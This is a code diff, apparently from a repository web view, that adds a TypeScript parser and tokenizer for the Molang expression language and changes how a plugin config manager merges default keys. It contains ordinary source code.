||||||
|
import { IInfixParselet } from './infix'
|
||||||
|
import { StatementExpression } from '../expressions/statement'
|
||||||
|
import { StaticExpression } from '../expressions/static'
|
||||||
|
|
||||||
|
export class StatementParselet implements IInfixParselet {
|
||||||
|
constructor(public precedence = 0) {}
|
||||||
|
|
||||||
|
findReEntryPoint(parser: Parser) {
|
||||||
|
let bracketCount = 1
|
||||||
|
let tokenType = parser.lookAhead(0).getType()
|
||||||
|
while (tokenType !== 'EOF') {
|
||||||
|
if (tokenType == 'CURLY_RIGHT') bracketCount--
|
||||||
|
else if (tokenType === 'CURLY_LEFT') bracketCount++
|
||||||
|
if (bracketCount === 0) break
|
||||||
|
|
||||||
|
parser.consume()
|
||||||
|
tokenType = parser.lookAhead(0).getType()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
parse(parser: Parser, left: IExpression, token: Token) {
|
||||||
|
if (parser.config.useOptimizer) {
|
||||||
|
if (left.isStatic())
|
||||||
|
left = new StaticExpression(left.eval(), left.isReturn)
|
||||||
|
|
||||||
|
if (parser.config.earlyReturnsSkipParsing && left.isReturn) {
|
||||||
|
if (!parser.config.earlyReturnsSkipTokenization)
|
||||||
|
this.findReEntryPoint(parser)
|
||||||
|
|
||||||
|
return new StatementExpression([left])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const expressions: IExpression[] = [left]
|
||||||
|
|
||||||
|
if (!parser.match('CURLY_RIGHT', false)) {
|
||||||
|
do {
|
||||||
|
let expr = parser.parseExpression(this.precedence)
|
||||||
|
if (parser.config.useOptimizer) {
|
||||||
|
if (expr.isStatic()) {
|
||||||
|
if (
|
||||||
|
parser.config.useAgressiveStaticOptimizer &&
|
||||||
|
!expr.isReturn
|
||||||
|
)
|
||||||
|
continue
|
||||||
|
expr = new StaticExpression(expr.eval(), expr.isReturn)
|
||||||
|
}
|
||||||
|
|
||||||
|
if (
|
||||||
|
parser.config.earlyReturnsSkipParsing &&
|
||||||
|
(expr.isBreak || expr.isContinue || expr.isReturn)
|
||||||
|
) {
|
||||||
|
expressions.push(expr)
|
||||||
|
|
||||||
|
if (!parser.config.earlyReturnsSkipTokenization)
|
||||||
|
this.findReEntryPoint(parser)
|
||||||
|
|
||||||
|
return new StatementExpression(expressions)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
expressions.push(expr)
|
||||||
|
} while (
|
||||||
|
parser.match('SEMICOLON') &&
|
||||||
|
!parser.match('EOF') &&
|
||||||
|
!parser.match('CURLY_RIGHT', false)
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
parser.match('SEMICOLON')
|
||||||
|
|
||||||
|
const statementExpr = new StatementExpression(expressions)
|
||||||
|
// if (parser.config.useOptimizer && statementExpr.isStatic()) {
|
||||||
|
// return new StaticExpression(
|
||||||
|
// statementExpr.eval(),
|
||||||
|
// statementExpr.isReturn
|
||||||
|
// )
|
||||||
|
// }
|
||||||
|
return statementExpr
|
||||||
|
}
|
||||||
|
}
|
12
packages/molang/src/parser/parselets/string.ts
Normal file
12
packages/molang/src/parser/parselets/string.ts
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
import { IPrefixParselet } from './prefix'
|
||||||
|
import { Token } from '../../tokenizer/token'
|
||||||
|
import { Parser } from '../parse'
|
||||||
|
import { StringExpression } from '../expressions/string'
|
||||||
|
|
||||||
|
export class StringParselet implements IPrefixParselet {
|
||||||
|
constructor(public precedence = 0) {}
|
||||||
|
|
||||||
|
parse(parser: Parser, token: Token) {
|
||||||
|
return new StringExpression(token.getText())
|
||||||
|
}
|
||||||
|
}
|
28
packages/molang/src/parser/parselets/ternary.ts
Normal file
28
packages/molang/src/parser/parselets/ternary.ts
Normal file
@ -0,0 +1,28 @@
|
|||||||
|
import { IInfixParselet } from './infix'
|
||||||
|
import { Parser } from '../parse'
|
||||||
|
import { IExpression } from '../expression'
|
||||||
|
import { Token } from '../../tokenizer/token'
|
||||||
|
import { TernaryExpression } from '../expressions/ternary'
|
||||||
|
import { VoidExpression } from '../expressions/void'
|
||||||
|
|
||||||
|
export class TernaryParselet implements IInfixParselet {
|
||||||
|
exprName = 'Ternary'
|
||||||
|
constructor(public precedence = 0) {}
|
||||||
|
|
||||||
|
parse(parser: Parser, leftExpression: IExpression, token: Token) {
|
||||||
|
let thenExpr = parser.parseExpression(this.precedence - 1)
|
||||||
|
let elseExpr: IExpression
|
||||||
|
|
||||||
|
if (parser.match('COLON')) {
|
||||||
|
elseExpr = parser.parseExpression(this.precedence - 1)
|
||||||
|
} else {
|
||||||
|
elseExpr = new VoidExpression()
|
||||||
|
}
|
||||||
|
|
||||||
|
if (parser.config.useOptimizer && leftExpression.isStatic()) {
|
||||||
|
return leftExpression.eval() ? thenExpr : elseExpr
|
||||||
|
}
|
||||||
|
|
||||||
|
return new TernaryExpression(leftExpression, thenExpr, elseExpr)
|
||||||
|
}
|
||||||
|
}
|
25
packages/molang/src/parser/precedence.ts
Normal file
25
packages/molang/src/parser/precedence.ts
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
export enum EPrecedence {
|
||||||
|
SCOPE = 1,
|
||||||
|
STATEMENT,
|
||||||
|
|
||||||
|
ASSIGNMENT,
|
||||||
|
CONDITIONAL,
|
||||||
|
|
||||||
|
ARRAY_ACCESS,
|
||||||
|
|
||||||
|
NULLISH_COALESCING,
|
||||||
|
|
||||||
|
AND,
|
||||||
|
OR,
|
||||||
|
|
||||||
|
EQUALS_COMPARE,
|
||||||
|
COMPARE,
|
||||||
|
|
||||||
|
SUM,
|
||||||
|
PRODUCT,
|
||||||
|
EXPONENT,
|
||||||
|
|
||||||
|
PREFIX,
|
||||||
|
POSTFIX,
|
||||||
|
FUNCTION,
|
||||||
|
}
|
144
packages/molang/src/tokenizer/Tokenizer.ts
Normal file
144
packages/molang/src/tokenizer/Tokenizer.ts
Normal file
@ -0,0 +1,144 @@
|
|||||||
|
import { TokenTypes, KeywordTokens } from './tokenTypes'
|
||||||
|
import { Token } from './token'
|
||||||
|
|
||||||
|
export class Tokenizer {
|
||||||
|
protected keywordTokens: Set<string>
|
||||||
|
protected i = 0
|
||||||
|
protected currentColumn = 0
|
||||||
|
protected currentLine = 0
|
||||||
|
protected lastColumns = 0
|
||||||
|
protected expression!: string
|
||||||
|
|
||||||
|
constructor(addKeywords?: Set<string>) {
|
||||||
|
if (addKeywords)
|
||||||
|
this.keywordTokens = new Set([...KeywordTokens, ...addKeywords])
|
||||||
|
else this.keywordTokens = KeywordTokens
|
||||||
|
}
|
||||||
|
|
||||||
|
init(expression: string) {
|
||||||
|
this.currentLine = 0
|
||||||
|
this.currentColumn = 0
|
||||||
|
this.lastColumns = 0
|
||||||
|
this.i = 0
|
||||||
|
this.expression = expression
|
||||||
|
}
|
||||||
|
|
||||||
|
next(): Token {
|
||||||
|
this.currentColumn = this.i - this.lastColumns
|
||||||
|
|
||||||
|
while (
|
||||||
|
this.i < this.expression.length &&
|
||||||
|
(this.expression[this.i] === ' ' ||
|
||||||
|
this.expression[this.i] === '\t' ||
|
||||||
|
this.expression[this.i] === '\n')
|
||||||
|
) {
|
||||||
|
if (this.expression[this.i] === '\n') {
|
||||||
|
this.currentLine++
|
||||||
|
this.currentColumn = 0
|
||||||
|
this.lastColumns = this.i + 1
|
||||||
|
}
|
||||||
|
this.i++
|
||||||
|
}
|
||||||
|
|
||||||
|
// This is unnecessary for parsing simple, vanilla molang expressions
|
||||||
|
// Might make sense to move it into a "TokenizerWithComments" class in the future
|
||||||
|
if (this.expression[this.i] === '#') {
|
||||||
|
const index = this.expression.indexOf('\n', this.i + 1)
|
||||||
|
this.i = index === -1 ? this.expression.length : index
|
||||||
|
this.currentLine++
|
||||||
|
this.lastColumns = this.i + 1
|
||||||
|
this.currentColumn = 0
|
||||||
|
return this.next()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check tokens with one char
|
||||||
|
let token = TokenTypes[this.expression[this.i]]
|
||||||
|
if (token) {
|
||||||
|
return new Token(
|
||||||
|
token,
|
||||||
|
this.expression[this.i++],
|
||||||
|
this.currentColumn,
|
||||||
|
this.currentLine
|
||||||
|
)
|
||||||
|
} else if (
|
||||||
|
this.isLetter(this.expression[this.i]) ||
|
||||||
|
this.expression[this.i] === '_'
|
||||||
|
) {
|
||||||
|
let j = this.i + 1
|
||||||
|
while (
|
||||||
|
j < this.expression.length &&
|
||||||
|
(this.isLetter(this.expression[j]) ||
|
||||||
|
this.isNumber(this.expression[j]) ||
|
||||||
|
this.expression[j] === '_' ||
|
||||||
|
this.expression[j] === '.')
|
||||||
|
) {
|
||||||
|
j++
|
||||||
|
}
|
||||||
|
|
||||||
|
const value = this.expression.substring(this.i, j).toLowerCase()
|
||||||
|
|
||||||
|
this.i = j
|
||||||
|
return new Token(
|
||||||
|
this.keywordTokens.has(value) ? value.toUpperCase() : 'NAME',
|
||||||
|
value,
|
||||||
|
this.currentColumn,
|
||||||
|
this.currentLine
|
||||||
|
)
|
||||||
|
} else if (this.isNumber(this.expression[this.i])) {
|
||||||
|
let j = this.i + 1
|
||||||
|
let hasDecimal = false
|
||||||
|
while (
|
||||||
|
j < this.expression.length &&
|
||||||
|
(this.isNumber(this.expression[j]) ||
|
||||||
|
(this.expression[j] === '.' && !hasDecimal))
|
||||||
|
) {
|
||||||
|
if (this.expression[j] === '.') hasDecimal = true
|
||||||
|
j++
|
||||||
|
}
|
||||||
|
|
||||||
|
const token = new Token(
|
||||||
|
'NUMBER',
|
||||||
|
this.expression.substring(this.i, j),
|
||||||
|
this.currentColumn,
|
||||||
|
this.currentLine
|
||||||
|
)
|
||||||
|
// Support notations like "0.5f"
|
||||||
|
const usesFloatNotation = hasDecimal && this.expression[j] === 'f'
|
||||||
|
|
||||||
|
this.i = usesFloatNotation ? j + 1 : j
|
||||||
|
|
||||||
|
return token
|
||||||
|
} else if (this.expression[this.i] === "'") {
|
||||||
|
let j = this.i + 1
|
||||||
|
while (j < this.expression.length && this.expression[j] !== "'") {
|
||||||
|
j++
|
||||||
|
}
|
||||||
|
j++
|
||||||
|
const token = new Token(
|
||||||
|
'STRING',
|
||||||
|
this.expression.substring(this.i, j),
|
||||||
|
this.currentColumn,
|
||||||
|
this.currentLine
|
||||||
|
)
|
||||||
|
this.i = j
|
||||||
|
return token
|
||||||
|
}
|
||||||
|
|
||||||
|
if (this.hasNext()) {
|
||||||
|
this.i++
|
||||||
|
return this.next()
|
||||||
|
}
|
||||||
|
return new Token('EOF', '', this.currentColumn, this.currentLine)
|
||||||
|
}
|
||||||
|
hasNext() {
|
||||||
|
return this.i < this.expression.length
|
||||||
|
}
|
||||||
|
|
||||||
|
protected isLetter(char: string) {
|
||||||
|
return (char >= 'a' && char <= 'z') || (char >= 'A' && char <= 'Z')
|
||||||
|
}
|
||||||
|
|
||||||
|
protected isNumber(char: string) {
|
||||||
|
return char >= '0' && char <= '9'
|
||||||
|
}
|
||||||
|
}
|
25
packages/molang/src/tokenizer/token.ts
Normal file
25
packages/molang/src/tokenizer/token.ts
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
export type TTokenType = string
|
||||||
|
|
||||||
|
export class Token {
|
||||||
|
constructor(
|
||||||
|
protected type: string,
|
||||||
|
protected text: string,
|
||||||
|
protected startColumn: number,
|
||||||
|
protected startLine: number
|
||||||
|
) {}
|
||||||
|
|
||||||
|
getType() {
|
||||||
|
return this.type
|
||||||
|
}
|
||||||
|
getText() {
|
||||||
|
return this.text
|
||||||
|
}
|
||||||
|
getPosition() {
|
||||||
|
return {
|
||||||
|
startColumn: this.startColumn,
|
||||||
|
startLineNumber: this.startLine,
|
||||||
|
endColumn: this.startColumn + this.text.length,
|
||||||
|
endLineNumber: this.startLine,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
32
packages/molang/src/tokenizer/tokenTypes.ts
Normal file
32
packages/molang/src/tokenizer/tokenTypes.ts
Normal file
@ -0,0 +1,32 @@
|
|||||||
|
export const TokenTypes: Record<string, string> = {
|
||||||
|
'!': 'BANG',
|
||||||
|
'&': 'AND',
|
||||||
|
'(': 'LEFT_PARENT',
|
||||||
|
')': 'RIGHT_PARENT',
|
||||||
|
'*': 'ASTERISK',
|
||||||
|
'+': 'PLUS',
|
||||||
|
',': 'COMMA',
|
||||||
|
'-': 'MINUS',
|
||||||
|
'/': 'SLASH',
|
||||||
|
':': 'COLON',
|
||||||
|
';': 'SEMICOLON',
|
||||||
|
'<': 'SMALLER',
|
||||||
|
'=': 'EQUALS',
|
||||||
|
'>': 'GREATER',
|
||||||
|
'?': 'QUESTION',
|
||||||
|
'[': 'ARRAY_LEFT',
|
||||||
|
']': 'ARRAY_RIGHT',
|
||||||
|
'{': 'CURLY_LEFT',
|
||||||
|
'|': 'OR',
|
||||||
|
'}': 'CURLY_RIGHT',
|
||||||
|
}
|
||||||
|
|
||||||
|
export const KeywordTokens = new Set([
|
||||||
|
'return',
|
||||||
|
'continue',
|
||||||
|
'break',
|
||||||
|
'for_each',
|
||||||
|
'loop',
|
||||||
|
'false',
|
||||||
|
'true',
|
||||||
|
])
|
7
packages/molang/tsconfig.json
Normal file
7
packages/molang/tsconfig.json
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
{
|
||||||
|
"extends": "../../tsconfig.json",
|
||||||
|
"compilerOptions": {
|
||||||
|
"baseUrl": "src",
|
||||||
|
"outDir": "dist"
|
||||||
|
}
|
||||||
|
}
|
@ -110,11 +110,12 @@ export class PluginConfigManager {
|
|||||||
let needSave = false
|
let needSave = false
|
||||||
for (const key of Object.keys(defaultValue)) {
|
for (const key of Object.keys(defaultValue)) {
|
||||||
// 当配置文件不存在当前属性时才进行赋值
|
// 当配置文件不存在当前属性时才进行赋值
|
||||||
if (!Object.prototype.hasOwnProperty.call(configValue, key)) {
|
if (!Object.prototype.hasOwnProperty.call(configValue, key) && key != '____deep_copy____') {
|
||||||
configValue[key] = defaultValue[key]
|
configValue[key] = defaultValue[key]
|
||||||
needSave = true
|
needSave = true
|
||||||
} else if (Object.prototype.toString.call(configValue[key]) == "[object Object]" && !Object.prototype.hasOwnProperty.call(defaultValue[key], '____ignore____')) {
|
} else if (Object.prototype.toString.call(configValue[key]) == "[object Object]"
|
||||||
// 对象需要递归检测 如果对象内存在 ____ignore____ 那就忽略设置
|
&& Object.prototype.hasOwnProperty.call(defaultValue[key], '____deep_copy____')) {
|
||||||
|
// 对象需要递归检测 如果对象内存在 ____deep_copy____ 那就忽略设置
|
||||||
needSave ||= this.setDefaultValue(configValue[key], defaultValue[key])
|
needSave ||= this.setDefaultValue(configValue[key], defaultValue[key])
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
Loading…
Reference in New Issue
Block a user